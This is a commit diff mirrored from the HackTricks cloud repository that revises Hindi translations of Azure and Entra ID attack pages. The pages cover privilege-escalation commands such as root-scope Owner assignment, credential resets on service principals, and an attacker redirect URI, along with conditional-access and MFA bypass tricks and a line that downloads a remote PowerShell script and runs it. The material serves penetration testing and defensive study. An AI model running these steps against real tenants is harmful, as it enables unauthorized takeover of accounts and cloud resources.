mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-27 07:14:20 -08:00
Translated ['.github/pull_request_template.md', 'src/README.md', 'src/pe
This commit is contained in:
@@ -12,7 +12,7 @@
|
||||
|
||||
### Microsoft.Authorization/roleAssignments/write
|
||||
|
||||
यह अनुमति विशेष दायरे में प्रिंसिपलों को भूमिकाएँ सौंपने की अनुमति देती है, जिससे एक हमलावर को अधिक विशेषाधिकार प्राप्त भूमिका सौंपकर विशेषाधिकार बढ़ाने की अनुमति मिलती है:
|
||||
यह अनुमति विशेष दायरे में प्रिंसिपल को भूमिकाएँ सौंपने की अनुमति देती है, जिससे एक हमलावर को अधिक विशेषाधिकार प्राप्त भूमिका सौंपकर विशेषाधिकार बढ़ाने की अनुमति मिलती है:
|
||||
```bash
|
||||
# Example
|
||||
az role assignment create --role Owner --assignee "24efe8cf-c59e-45c2-a5c7-c7e552a07170" --scope "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.KeyVault/vaults/testing-1231234"
|
||||
@@ -40,7 +40,7 @@ az role definition update --role-definition role.json
|
||||
```
|
||||
### Microsoft.Authorization/elevateAccess/action
|
||||
|
||||
यह अनुमति विशेषाधिकार बढ़ाने और Azure संसाधनों पर किसी भी प्रिंसिपल को अनुमतियाँ सौंपने की अनुमति देती है। इसे Entra ID Global Administrators को दिया जाना चाहिए ताकि वे Azure संसाधनों पर अनुमतियों का प्रबंधन कर सकें।
|
||||
यह अनुमति विशेषाधिकार बढ़ाने और Azure संसाधनों के लिए किसी भी प्रिंसिपल को अनुमतियाँ असाइन करने की अनुमति देती है। इसे Entra ID Global Administrators को दिया जाना चाहिए ताकि वे Azure संसाधनों पर अनुमतियों का प्रबंधन कर सकें।
|
||||
|
||||
> [!TIP]
|
||||
> मुझे लगता है कि उपयोगकर्ता को elevate कॉल काम करने के लिए Entra ID में Global Administrator होना चाहिए।
|
||||
@@ -53,9 +53,9 @@ az role assignment create --assignee "<obeject-id>" --role "Owner" --scope "/"
|
||||
```
|
||||
### Microsoft.ManagedIdentity/userAssignedIdentities/federatedIdentityCredentials/write
|
||||
|
||||
यह अनुमति प्रबंधित पहचान में संघीय क्रेडेंशियल जोड़ने की अनुमति देती है। उदाहरण के लिए, एक प्रबंधित पहचान को एक रिपॉजिटरी में Github Actions तक पहुँच देने के लिए। फिर, यह **किसी भी उपयोगकर्ता द्वारा परिभाषित प्रबंधित पहचान** तक पहुँचने की अनुमति देती है।
|
||||
यह अनुमति प्रबंधित पहचान में संघीय क्रेडेंशियल जोड़ने की अनुमति देती है। उदाहरण के लिए, एक प्रबंधित पहचान को एक रिपॉजिटरी में Github Actions तक पहुंच देने के लिए। फिर, यह **किसी भी उपयोगकर्ता द्वारा परिभाषित प्रबंधित पहचान** तक पहुंच की अनुमति देता है।
|
||||
|
||||
Github में एक रिपॉजिटरी को प्रबंधित पहचान को पहुँच देने के लिए उदाहरण कमांड:
|
||||
Github में एक रिपॉजिटरी को प्रबंधित पहचान तक पहुंच देने के लिए उदाहरण कमांड:
|
||||
```bash
|
||||
# Generic example:
|
||||
az rest --method PUT \
|
||||
|
||||
@@ -3,13 +3,13 @@
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
> [!NOTE]
|
||||
> ध्यान दें कि **सभी ग्रैन्युलर अनुमतियाँ** जो Entra ID में अंतर्निहित भूमिकाओं के पास हैं, **कस्टम भूमिकाओं में उपयोग के लिए योग्य नहीं हैं।**
|
||||
> ध्यान दें कि **सभी ग्रैन्युलर अनुमतियाँ** जो Entra ID में अंतर्निहित भूमिकाओं में हैं, **कस्टम भूमिकाओं में उपयोग के लिए योग्य नहीं हैं।**
|
||||
|
||||
## Roles
|
||||
## भूमिकाएँ
|
||||
|
||||
### Role: Privileged Role Administrator <a href="#c9d4cde0-7dcc-45d5-aa95-59d198ae84b2" id="c9d4cde0-7dcc-45d5-aa95-59d198ae84b2"></a>
|
||||
### भूमिका: विशेषाधिकार प्राप्त भूमिका प्रशासक <a href="#c9d4cde0-7dcc-45d5-aa95-59d198ae84b2" id="c9d4cde0-7dcc-45d5-aa95-59d198ae84b2"></a>
|
||||
|
||||
यह भूमिका आवश्यक ग्रैन्युलर अनुमतियों को शामिल करती है ताकि प्रिंसिपल को भूमिकाएँ सौंपने और भूमिकाओं को अधिक अनुमतियाँ देने में सक्षम हो सकें। दोनों क्रियाएँ विशेषाधिकार बढ़ाने के लिए दुरुपयोग की जा सकती हैं।
|
||||
यह भूमिका प्रिंसिपलों को भूमिकाएँ सौंपने और भूमिकाओं को अधिक अनुमतियाँ देने के लिए आवश्यक ग्रैन्युलर अनुमतियाँ रखती है। दोनों क्रियाएँ विशेषाधिकार बढ़ाने के लिए दुरुपयोग की जा सकती हैं।
|
||||
|
||||
- उपयोगकर्ता को भूमिका सौंपें:
|
||||
```bash
|
||||
@@ -86,16 +86,16 @@ az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUr
|
||||
# Add a new redirect URI (make sure to keep the configured ones)
|
||||
az ad app update --id <app-id> --web-redirect-uris "https://original.com/callback https://attack.com/callback"
|
||||
```
|
||||
## Service Principals
|
||||
## सेवा प्रिंसिपल
|
||||
|
||||
### `microsoft.directory/servicePrincipals/credentials/update`
|
||||
|
||||
यह एक हमलावर को मौजूदा सेवा प्रमुखों में क्रेडेंशियल जोड़ने की अनुमति देता है। यदि सेवा प्रमुख के पास उच्चाधिकार हैं, तो हमलावर उन अधिकारों को ग्रहण कर सकता है।
|
||||
यह एक हमलावर को मौजूदा सेवा प्रिंसिपलों में क्रेडेंशियल जोड़ने की अनुमति देता है। यदि सेवा प्रिंसिपल के पास उच्चाधिकार हैं, तो हमलावर उन अधिकारों को ग्रहण कर सकता है।
|
||||
```bash
|
||||
az ad sp credential reset --id <sp-id> --append
|
||||
```
|
||||
> [!CAUTION]
|
||||
> नया जनरेट किया गया पासवर्ड वेब कंसोल में नहीं दिखाई देगा, इसलिए यह एक स्टेल्थ तरीका हो सकता है सेवा प्रमुख पर स्थिरता बनाए रखने के लिए।\
|
||||
> नया उत्पन्न किया गया पासवर्ड वेब कंसोल में नहीं दिखाई देगा, इसलिए यह सेवा प्रमुख पर स्थायीता बनाए रखने का एक छिपा हुआ तरीका हो सकता है।\
|
||||
> API से इन्हें इस प्रकार पाया जा सकता है: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json`
|
||||
|
||||
यदि आपको त्रुटि मिलती है `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."` तो इसका कारण यह है कि **आप SP के passwordCredentials प्रॉपर्टी को संशोधित नहीं कर सकते** और पहले आपको इसे अनलॉक करना होगा। इसके लिए आपको एक अनुमति की आवश्यकता है (`microsoft.directory/applications/allProperties/update`) जो आपको निष्पादित करने की अनुमति देती है:
|
||||
@@ -128,11 +128,11 @@ az ad sp credential reset --id <sp-id> --append
|
||||
az ad sp owner list --id <spId>
|
||||
```
|
||||
> [!CAUTION]
|
||||
> नए मालिक को जोड़ने के बाद, मैंने इसे हटाने की कोशिश की लेकिन API ने जवाब दिया कि DELETE विधि समर्थित नहीं थी, भले ही यह वह विधि है जिसका उपयोग मालिक को हटाने के लिए करना आवश्यक है। इसलिए आप **आजकल मालिकों को हटा नहीं सकते**।
|
||||
> एक नया मालिक जोड़ने के बाद, मैंने इसे हटाने की कोशिश की लेकिन API ने जवाब दिया कि DELETE विधि समर्थित नहीं है, भले ही यह वह विधि है जिसका उपयोग मालिक को हटाने के लिए करना आवश्यक है। इसलिए आप **आजकल मालिकों को हटा नहीं सकते**।
|
||||
|
||||
### `microsoft.directory/servicePrincipals/disable` और `enable`
|
||||
|
||||
ये अनुमतियाँ सेवा प्रमुखों को अक्षम और सक्षम करने की अनुमति देती हैं। एक हमलावर इस अनुमति का उपयोग किसी सेवा प्रमुख को सक्षम करने के लिए कर सकता है जिसे वह किसी न किसी तरह से एक्सेस कर सकता है ताकि विशेषाधिकार बढ़ा सके।
|
||||
ये अनुमतियाँ सेवा प्रमुखों को अक्षम और सक्षम करने की अनुमति देती हैं। एक हमलावर इस अनुमति का उपयोग किसी सेवा प्रमुख को सक्षम करने के लिए कर सकता है जिसे वह किसी न किसी तरीके से एक्सेस कर सकता है ताकि विशेषाधिकार बढ़ा सके।
|
||||
|
||||
ध्यान दें कि इस तकनीक के लिए हमलावर को सक्षम सेवा प्रमुख पर नियंत्रण पाने के लिए अधिक अनुमतियों की आवश्यकता होगी।
|
||||
```bash
|
||||
@@ -144,7 +144,7 @@ az ad sp update --id <ServicePrincipalId> --account-enabled true
|
||||
```
|
||||
#### `microsoft.directory/servicePrincipals/getPasswordSingleSignOnCredentials` & `microsoft.directory/servicePrincipals/managePasswordSingleSignOnCredentials`
|
||||
|
||||
ये अनुमतियाँ सिंगल साइन-ऑन के लिए क्रेडेंशियल बनाने और प्राप्त करने की अनुमति देती हैं, जो तीसरे पक्ष के अनुप्रयोगों तक पहुँच प्रदान कर सकती हैं।
|
||||
ये अनुमतियाँ सिंगल साइन-ऑन के लिए क्रेडेंशियल बनाने और प्राप्त करने की अनुमति देती हैं, जो तृतीय-पक्ष अनुप्रयोगों तक पहुँच प्रदान कर सकती हैं।
|
||||
```bash
|
||||
# Generate SSO creds for a user or a group
|
||||
spID="<spId>"
|
||||
@@ -166,11 +166,11 @@ az rest --method POST \
|
||||
```
|
||||
---
|
||||
|
||||
## Groups
|
||||
## समूह
|
||||
|
||||
### `microsoft.directory/groups/allProperties/update`
|
||||
|
||||
यह अनुमति विशेषाधिकार प्राप्त समूहों में उपयोगकर्ताओं को जोड़ने की अनुमति देती है, जो विशेषाधिकार वृद्धि की ओर ले जाती है।
|
||||
यह अनुमति विशेषाधिकार प्राप्त समूहों में उपयोगकर्ताओं को जोड़ने की अनुमति देती है, जिससे विशेषाधिकार वृद्धि होती है।
|
||||
```bash
|
||||
az ad group member add --group <GroupName> --member-id <UserId>
|
||||
```
|
||||
@@ -183,7 +183,7 @@ az ad group member add --group <GroupName> --member-id <UserId>
|
||||
az ad group owner add --group <GroupName> --owner-object-id <UserId>
|
||||
az ad group member add --group <GroupName> --member-id <UserId>
|
||||
```
|
||||
**नोट**: यह अनुमति Entra ID भूमिका-निर्धारण समूहों को बाहर करती है।
|
||||
**नोट**: यह अनुमति Entra ID भूमिका-निर्धारण योग्य समूहों को बाहर करती है।
|
||||
|
||||
### `microsoft.directory/groups/members/update`
|
||||
|
||||
@@ -193,7 +193,7 @@ az ad group member add --group <GroupName> --member-id <UserId>
|
||||
```
|
||||
### `microsoft.directory/groups/dynamicMembershipRule/update`
|
||||
|
||||
यह अनुमति एक गतिशील समूह में सदस्यता नियम को अपडेट करने की अनुमति देती है। एक हमलावर गतिशील नियमों को संशोधित कर सकता है ताकि वह बिना स्पष्ट जोड़ के विशेषाधिकार प्राप्त समूहों में शामिल हो सके।
|
||||
यह अनुमति एक गतिशील समूह में सदस्यता नियम को अपडेट करने की अनुमति देती है। एक हमलावर गतिशील नियमों को संशोधित कर सकता है ताकि वह बिना स्पष्ट जोड़ने के विशेषाधिकार प्राप्त समूहों में शामिल हो सके।
|
||||
```bash
|
||||
groupId="<group-id>"
|
||||
az rest --method PATCH \
|
||||
@@ -208,7 +208,7 @@ az rest --method PATCH \
|
||||
|
||||
### डायनामिक समूह प्रिवेस्क
|
||||
|
||||
उपयोगकर्ताओं के लिए अपनी स्वयं की विशेषताओं को संशोधित करके डायनामिक समूहों के सदस्यों के रूप में जोड़े जाने के लिए विशेषाधिकार बढ़ाना संभव हो सकता है। अधिक जानकारी के लिए देखें:
|
||||
उपयोगकर्ताओं के लिए अपनी विशेषताओं को संशोधित करके डायनामिक समूहों के सदस्य के रूप में जोड़े जाने के लिए विशेषाधिकार बढ़ाना संभव हो सकता है। अधिक जानकारी के लिए देखें:
|
||||
|
||||
{{#ref}}
|
||||
dynamic-groups.md
|
||||
@@ -224,7 +224,7 @@ az ad user update --id <user-id> --password "kweoifuh.234"
|
||||
```
|
||||
### `microsoft.directory/users/basic/update`
|
||||
|
||||
यह विशेषाधिकार उपयोगकर्ता की विशेषताओं को संशोधित करने की अनुमति देता है। यह सामान्य है कि गतिशील समूह होते हैं जो विशेषताओं के मान के आधार पर उपयोगकर्ताओं को जोड़ते हैं, इसलिए, यह अनुमति एक उपयोगकर्ता को आवश्यक विशेषता मान सेट करने की अनुमति दे सकती है ताकि वह एक विशिष्ट गतिशील समूह का सदस्य बन सके और विशेषाधिकार बढ़ा सके।
|
||||
यह विशेषाधिकार उपयोगकर्ता की विशेषताओं को संशोधित करने की अनुमति देता है। यह सामान्य है कि गतिशील समूह होते हैं जो विशेषताओं के मानों के आधार पर उपयोगकर्ताओं को जोड़ते हैं, इसलिए, यह अनुमति एक उपयोगकर्ता को आवश्यक विशेषता मान सेट करने की अनुमति दे सकती है ताकि वह एक विशिष्ट गतिशील समूह का सदस्य बन सके और विशेषाधिकार बढ़ा सके।
|
||||
```bash
|
||||
#e.g. change manager of a user
|
||||
victimUser="<userID>"
|
||||
@@ -242,7 +242,7 @@ az rest --method PATCH \
|
||||
```
|
||||
## Conditional Access Policies & MFA bypass
|
||||
|
||||
गलत कॉन्फ़िगर की गई कंडीशनल एक्सेस नीतियाँ जो MFA की आवश्यकता होती हैं, को बायपास किया जा सकता है, जाँच करें:
|
||||
गलत कॉन्फ़िगर की गई कंडीशनल एक्सेस नीतियाँ जो MFA की आवश्यकता करती हैं, को बायपास किया जा सकता है, जाँच करें:
|
||||
|
||||
{{#ref}}
|
||||
az-conditional-access-policies-mfa-bypass.md
|
||||
|
||||
@@ -4,13 +4,13 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
Azure Conditional Access नीतियाँ Microsoft Azure में नियम हैं जो कुछ **शर्तों** के आधार पर Azure सेवाओं और अनुप्रयोगों तक पहुँच नियंत्रण लागू करने के लिए स्थापित की गई हैं। ये नीतियाँ संगठनों को सही परिस्थितियों में सही पहुँच नियंत्रण लागू करके उनके संसाधनों को सुरक्षित रखने में मदद करती हैं।\
|
||||
Conditional access नीतियाँ मूल रूप से **यह परिभाषित करती हैं** **कौन** **क्या** **कहाँ** और **कैसे** पहुँच सकता है।
|
||||
Azure Conditional Access नीतियाँ Microsoft Azure में नियम हैं जो कुछ **शर्तों** के आधार पर Azure सेवाओं और अनुप्रयोगों के लिए पहुँच नियंत्रण लागू करने के लिए स्थापित की गई हैं। ये नीतियाँ संगठनों को सही परिस्थितियों में सही पहुँच नियंत्रण लागू करके अपने संसाधनों को सुरक्षित रखने में मदद करती हैं।\
|
||||
Conditional access नीतियाँ मूल रूप से **यह परिभाषित करती हैं** **कौन** **क्या** तक पहुँच सकता है **कहाँ** से और **कैसे**।
|
||||
|
||||
यहाँ कुछ उदाहरण दिए गए हैं:
|
||||
|
||||
1. **साइन-इन जोखिम नीति**: यह नीति तब लागू की जा सकती है जब साइन-इन जोखिम का पता लगाया जाता है, जैसे कि जब किसी उपयोगकर्ता का लॉगिन व्यवहार उनके नियमित पैटर्न की तुलना में असामान्य होता है, जैसे कि किसी अन्य देश से लॉगिन करना, तो सिस्टम अतिरिक्त प्रमाणीकरण के लिए संकेत दे सकता है।
|
||||
2. **डिवाइस अनुपालन नीति**: यह नीति केवल उन उपकरणों तक पहुँच को प्रतिबंधित कर सकती है जो संगठन के सुरक्षा मानकों के अनुपालन में हैं। उदाहरण के लिए, केवल उन उपकरणों से पहुँच की अनुमति दी जा सकती है जिनमें अद्यतन एंटीवायरस सॉफ़्टवेयर है या जो एक निश्चित ऑपरेटिंग सिस्टम संस्करण चला रहे हैं।
|
||||
1. **साइन-इन जोखिम नीति**: यह नीति तब लागू की जा सकती है जब साइन-इन जोखिम का पता लगाया जाता है, तो मल्टी-फैक्टर ऑथेंटिकेशन (MFA) की आवश्यकता हो सकती है। उदाहरण के लिए, यदि किसी उपयोगकर्ता का लॉगिन व्यवहार उनके नियमित पैटर्न की तुलना में असामान्य है, जैसे कि किसी अन्य देश से लॉगिन करना, तो सिस्टम अतिरिक्त प्रमाणीकरण के लिए संकेत दे सकता है।
|
||||
2. **डिवाइस अनुपालन नीति**: यह नीति केवल उन उपकरणों के लिए Azure सेवाओं तक पहुँच को प्रतिबंधित कर सकती है जो संगठन के सुरक्षा मानकों के अनुपालन में हैं। उदाहरण के लिए, केवल उन उपकरणों से पहुँच की अनुमति दी जा सकती है जिनमें अद्यतन एंटीवायरस सॉफ़्टवेयर है या जो एक निश्चित ऑपरेटिंग सिस्टम संस्करण चला रहे हैं।
|
||||
|
||||
## Conditional Access Policies Bypasses
|
||||
|
||||
@@ -21,17 +21,17 @@ Conditional access नीतियाँ मूल रूप से **यह प
|
||||
यह भी आवश्यक है कि उन **शर्तों** को कॉन्फ़िगर किया जाए जो नीति को **प्रेरित** करेंगी:
|
||||
|
||||
- **नेटवर्क**: आईपी, आईपी रेंज और भौगोलिक स्थान
|
||||
- एक VPN या प्रॉक्सी का उपयोग करके एक देश से कनेक्ट करने या एक अनुमत आईपी पते से लॉगिन करने में बायपास किया जा सकता है
|
||||
- किसी देश से कनेक्ट करने के लिए VPN या प्रॉक्सी का उपयोग करके बायपास किया जा सकता है या एक अनुमत आईपी पते से लॉगिन करने में सक्षम होना
|
||||
- **Microsoft जोखिम**: उपयोगकर्ता जोखिम, साइन-इन जोखिम, अंदरूनी जोखिम
|
||||
- **डिवाइस प्लेटफार्म**: कोई भी डिवाइस या Android, iOS, Windows फोन, Windows, macOS, Linux का चयन करें
|
||||
- यदि "कोई भी डिवाइस" चयनित नहीं है लेकिन सभी अन्य विकल्प चयनित हैं, तो इसे उन प्लेटफार्मों से संबंधित न होने वाले एक यादृच्छिक उपयोगकर्ता-एजेंट का उपयोग करके बायपास किया जा सकता है
|
||||
- यदि "कोई भी डिवाइस" चयनित नहीं है लेकिन सभी अन्य विकल्प चयनित हैं, तो इसे उन प्लेटफार्मों से संबंधित न होने वाले यादृच्छिक उपयोगकर्ता-एजेंट का उपयोग करके बायपास किया जा सकता है
|
||||
- **क्लाइंट ऐप**: विकल्प हैं "ब्राउज़र", "मोबाइल ऐप और डेस्कटॉप क्लाइंट", "एक्सचेंज एक्टिवसिंक क्लाइंट" और अन्य क्लाइंट"
|
||||
- एक न चुने गए विकल्प के साथ लॉगिन बायपास करने के लिए
|
||||
- **डिवाइस के लिए फ़िल्टर**: उपयोग किए गए डिवाइस से संबंधित एक नियम उत्पन्न करना संभव है
|
||||
- **प्रमाणीकरण प्रवाह**: विकल्प हैं "डिवाइस कोड प्रवाह" और "प्रमाणीकरण स्थानांतरण"
|
||||
- यह एक हमलावर को प्रभावित नहीं करेगा जब तक कि वह पीड़ित के खाते तक पहुँचने के लिए फ़िशिंग प्रयास में इनमें से किसी भी प्रोटोकॉल का दुरुपयोग करने की कोशिश नहीं कर रहा हो
|
||||
|
||||
संभावित **परिणाम** हैं: ब्लॉक या पहुँच प्रदान करें जिसमें संभावित शर्तें जैसे MFA की आवश्यकता, डिवाइस का अनुपालन...
|
||||
संभावित **परिणाम** हैं: ब्लॉक या पहुँच प्रदान करें जिसमें संभावित शर्तें जैसे MFA की आवश्यकता, डिवाइस का अनुपालन होना शामिल हैं…
|
||||
|
||||
### Device Platforms - Device Condition
|
||||
|
||||
@@ -40,7 +40,7 @@ Conditional access नीतियाँ मूल रूप से **यह प
|
||||
<figure><img src="../../../../images/image (352).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
बस ब्राउज़र को **एक अज्ञात उपयोगकर्ता-एजेंट भेजने** (जैसे `Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile`) के लिए पर्याप्त है कि यह शर्त सक्रिय न हो।\
|
||||
आप डेवलपर टूल में उपयोगकर्ता एजेंट को **हाथ से** बदल सकते हैं:
|
||||
आप डेवलपर टूल में **हाथ से** उपयोगकर्ता एजेंट बदल सकते हैं:
|
||||
|
||||
<figure><img src="../../../../images/image (351).png" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
||||
@@ -48,16 +48,16 @@ Conditional access नीतियाँ मूल रूप से **यह प
|
||||
|
||||
### Locations: Countries, IP ranges - Device Condition
|
||||
|
||||
यदि यह शर्त में सेट किया गया है, तो एक हमलावर बस **अनुमत देश** में एक **VPN** का उपयोग कर सकता है या इन शर्तों को बायपास करने के लिए एक **अनुमत आईपी पते** से पहुँचने का तरीका खोज सकता है।
|
||||
यदि यह कंडीशनल नीति में सेट किया गया है, तो एक हमलावर बस **अनुमत देश** में एक **VPN** का उपयोग कर सकता है या इन शर्तों को बायपास करने के लिए **अनुमत आईपी पते** से पहुँचने का एक तरीका खोज सकता है।
|
||||
|
||||
### Cloud Apps
|
||||
|
||||
यह संभव है कि **विशिष्ट ऐप** तक पहुँचने का प्रयास करते समय MFA को ब्लॉक या मजबूर करने के लिए **conditional access नीतियों** को कॉन्फ़िगर किया जाए:
|
||||
यह संभव है कि **विशिष्ट ऐप** तक पहुँचने के लिए उपयोगकर्ता द्वारा MFA को ब्लॉक या मजबूर करने के लिए **कंडीशनल एक्सेस नीतियों** को कॉन्फ़िगर किया जाए:
|
||||
|
||||
<figure><img src="../../../../images/image (353).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
इस सुरक्षा को बायपास करने के लिए आपको देखना चाहिए कि क्या आप **केवल किसी भी एप्लिकेशन में** लॉगिन कर सकते हैं।\
|
||||
उपकरण [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep) में **कई एप्लिकेशन आईडी हार्डकोडेड** हैं और यह उनमें लॉगिन करने का प्रयास करेगा और आपको सूचित करेगा और यदि सफल होता है तो आपको टोकन भी देगा।
|
||||
इस सुरक्षा को बायपास करने के लिए आपको देखना चाहिए कि क्या आप **किसी भी एप्लिकेशन में केवल लॉगिन कर सकते हैं**।\
|
||||
उपकरण [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep) में **दर्जनों एप्लिकेशन आईडी हार्डकोडेड** हैं और यह उनमें लॉगिन करने की कोशिश करेगा और आपको सूचित करेगा और यदि सफल होता है तो आपको टोकन भी देगा।
|
||||
|
||||
विशिष्ट संसाधनों में **विशिष्ट एप्लिकेशन आईडी का परीक्षण करने के लिए** आप एक उपकरण का उपयोग कर सकते हैं जैसे:
|
||||
```bash
|
||||
@@ -65,26 +65,26 @@ roadrecon auth -u user@email.com -r https://outlook.office.com/ -c 1fec8e78-bce4
|
||||
|
||||
<token>
|
||||
```
|
||||
Moreover, it's also possible to protect the login method (e.g. if you are trying to login from the browser or from a desktop application). The tool [**Invoke-MFASweep**](az-conditional-access-policies-mfa-bypass.md#invoke-mfasweep) perform some checks to try to bypass this protections also.
|
||||
इसके अलावा, लॉगिन विधि की सुरक्षा करना भी संभव है (जैसे, यदि आप ब्राउज़र से या डेस्कटॉप एप्लिकेशन से लॉगिन करने की कोशिश कर रहे हैं)। उपकरण [**Invoke-MFASweep**](az-conditional-access-policies-mfa-bypass.md#invoke-mfasweep) कुछ जांचें करता है ताकि इन सुरक्षा उपायों को बायपास करने की कोशिश की जा सके।
|
||||
|
||||
The tool [**donkeytoken**](az-conditional-access-policies-mfa-bypass.md#donkeytoken) could also be used to similar purposes although it looks unmantained.
|
||||
उपकरण [**donkeytoken**](az-conditional-access-policies-mfa-bypass.md#donkeytoken) को भी समान उद्देश्यों के लिए उपयोग किया जा सकता है हालांकि यह अप्रबंधित लगता है।
|
||||
|
||||
The tool [**ROPCI**](https://github.com/wunderwuzzi23/ropci) can also be used to test this protections and see if it's possible to bypass MFAs or blocks, but this tool works from a **whitebox** perspective. You first need to download the list of Apps allowed in the tenant and then it will try to login into them.
|
||||
उपकरण [**ROPCI**](https://github.com/wunderwuzzi23/ropci) का उपयोग भी इन सुरक्षा उपायों का परीक्षण करने और यह देखने के लिए किया जा सकता है कि क्या MFAs या ब्लॉकों को बायपास करना संभव है, लेकिन यह उपकरण **whitebox** दृष्टिकोण से काम करता है। आपको पहले टेनेट में अनुमत ऐप्स की सूची डाउनलोड करनी होगी और फिर यह उनमें लॉगिन करने की कोशिश करेगा।
|
||||
|
||||
## Other Az MFA Bypasses
|
||||
## अन्य Az MFA बायपास
|
||||
|
||||
### Ring tone
|
||||
### रिंग टोन
|
||||
|
||||
One Azure MFA option is to **receive a call in the configured phone number** where it will be asked the user to **send the char `#`**.
|
||||
एक Azure MFA विकल्प है **कॉन्फ़िगर किए गए फोन नंबर पर कॉल प्राप्त करना** जहां उपयोगकर्ता से **चर `#` भेजने** के लिए कहा जाएगा।
|
||||
|
||||
> [!CAUTION]
|
||||
> As chars are just **tones**, an attacker could **compromise** the **voicemail** message of the phone number, configure as the message the **tone of `#`** and then, when requesting the MFA make sure that the **victims phone is busy** (calling it) so the Azure call gets redirected to the voice mail.
|
||||
> चूंकि चर केवल **स्वर** हैं, एक हमलावर **फोन नंबर** के **वॉइसमेल** संदेश को **समझौता** कर सकता है, संदेश के रूप में **`#` का स्वर** कॉन्फ़िगर कर सकता है और फिर, जब MFA का अनुरोध किया जाता है, तो सुनिश्चित करें कि **पीड़ित का फोन व्यस्त है** (इसे कॉल करके) ताकि Azure कॉल वॉइसमेल पर रीडायरेक्ट हो जाए।
|
||||
|
||||
### Compliant Devices
|
||||
### अनुपालन उपकरण
|
||||
|
||||
Policies often asks for a compliant device or MFA, so an **attacker could register a compliant device**, get a **PRT** token and **bypass this way the MFA**.
|
||||
नीतियाँ अक्सर एक अनुपालन उपकरण या MFA की मांग करती हैं, इसलिए एक **हमलावर एक अनुपालन उपकरण पंजीकृत कर सकता है**, एक **PRT** टोकन प्राप्त कर सकता है और **इस तरह MFA को बायपास कर सकता है**।
|
||||
|
||||
Start by registering a **compliant device in Intune**, then **get the PRT** with:
|
||||
एक **अनुपालन उपकरण को Intune में पंजीकृत करने** से शुरू करें, फिर **PRT प्राप्त करें**:
|
||||
```powershell
|
||||
$prtKeys = Get-AADIntuneUserPRTKeys - PfxFileName .\<uuid>.pfx -Credentials $credentials
|
||||
|
||||
@@ -94,13 +94,13 @@ Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken
|
||||
|
||||
<token returned>
|
||||
```
|
||||
Find more information about this kind of attack in the following page:
|
||||
इस प्रकार के हमले के बारे में अधिक जानकारी निम्नलिखित पृष्ठ पर प्राप्त करें:
|
||||
|
||||
{{#ref}}
|
||||
../../az-lateral-movement-cloud-on-prem/pass-the-prt.md
|
||||
{{#endref}}
|
||||
|
||||
## Tooling
|
||||
## उपकरण
|
||||
|
||||
### [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep)
|
||||
|
||||
@@ -116,14 +116,14 @@ roadrecon plugin policies
|
||||
```
|
||||
### [Invoke-MFASweep](https://github.com/dafthack/MFASweep)
|
||||
|
||||
MFASweep एक PowerShell स्क्रिप्ट है जो **प्रदान किए गए क्रेडेंशियल्स का उपयोग करके विभिन्न Microsoft सेवाओं में लॉग इन करने का प्रयास करती है और यह पहचानने का प्रयास करती है कि क्या MFA सक्षम है**। यह इस पर निर्भर करता है कि कंडीशनल एक्सेस नीतियाँ और अन्य मल्टी-फैक्टर ऑथेंटिकेशन सेटिंग्स कैसे कॉन्फ़िगर की गई हैं, कुछ प्रोटोकॉल अंततः एकल कारक के रूप में रह सकते हैं। इसमें ADFS कॉन्फ़िगरेशन के लिए एक अतिरिक्त जांच भी है और यदि पता लगाया गया तो यह ऑन-प्रिम ADFS सर्वर में लॉग इन करने का प्रयास कर सकता है।
|
||||
MFASweep एक PowerShell स्क्रिप्ट है जो **प्रदान किए गए क्रेडेंशियल्स का उपयोग करके विभिन्न Microsoft सेवाओं में लॉग इन करने का प्रयास करती है और यह पहचानने का प्रयास करती है कि क्या MFA सक्षम है**। यह इस पर निर्भर करता है कि कैसे कंडीशनल एक्सेस नीतियाँ और अन्य मल्टी-फैक्टर ऑथेंटिकेशन सेटिंग्स कॉन्फ़िगर की गई हैं, कुछ प्रोटोकॉल अंततः एकल कारक के रूप में रह सकते हैं। इसमें ADFS कॉन्फ़िगरेशन के लिए एक अतिरिक्त जांच भी है और यदि पता लगाया गया तो यह ऑन-प्रिम ADFS सर्वर में लॉग इन करने का प्रयास कर सकता है।
|
||||
```bash
|
||||
Invoke-Expression (Invoke-WebRequest -Uri "https://raw.githubusercontent.com/dafthack/MFASweep/master/MFASweep.ps1").Content
|
||||
Invoke-MFASweep -Username <username> -Password <pass>
|
||||
```
|
||||
### [ROPCI](https://github.com/wunderwuzzi23/ropci)
|
||||
|
||||
यह उपकरण MFA बायपास की पहचान करने और फिर कई उत्पादन AAD टेनेन्ट्स में APIs का दुरुपयोग करने में मदद करता है, जहाँ AAD ग्राहक मानते थे कि उनके पास MFA लागू है, लेकिन ROPC आधारित प्रमाणीकरण सफल हुआ।
|
||||
यह उपकरण MFA बायपास की पहचान करने और फिर कई उत्पादन AAD टेनेन्ट्स में APIs का दुरुपयोग करने में मदद करता है, जहाँ AAD ग्राहक मानते थे कि उनके पास MFA लागू है, लेकिन ROPC आधारित प्रमाणीकरण सफल रहा।
|
||||
|
||||
> [!TIP]
|
||||
> आपको सभी अनुप्रयोगों की सूची बनाने के लिए अनुमतियाँ होनी चाहिए ताकि आप ब्रूट-फोर्स करने के लिए अनुप्रयोगों की सूची उत्पन्न कर सकें।
|
||||
@@ -135,7 +135,7 @@ Invoke-MFASweep -Username <username> -Password <pass>
|
||||
```
|
||||
### [donkeytoken](https://github.com/silverhack/donkeytoken)
|
||||
|
||||
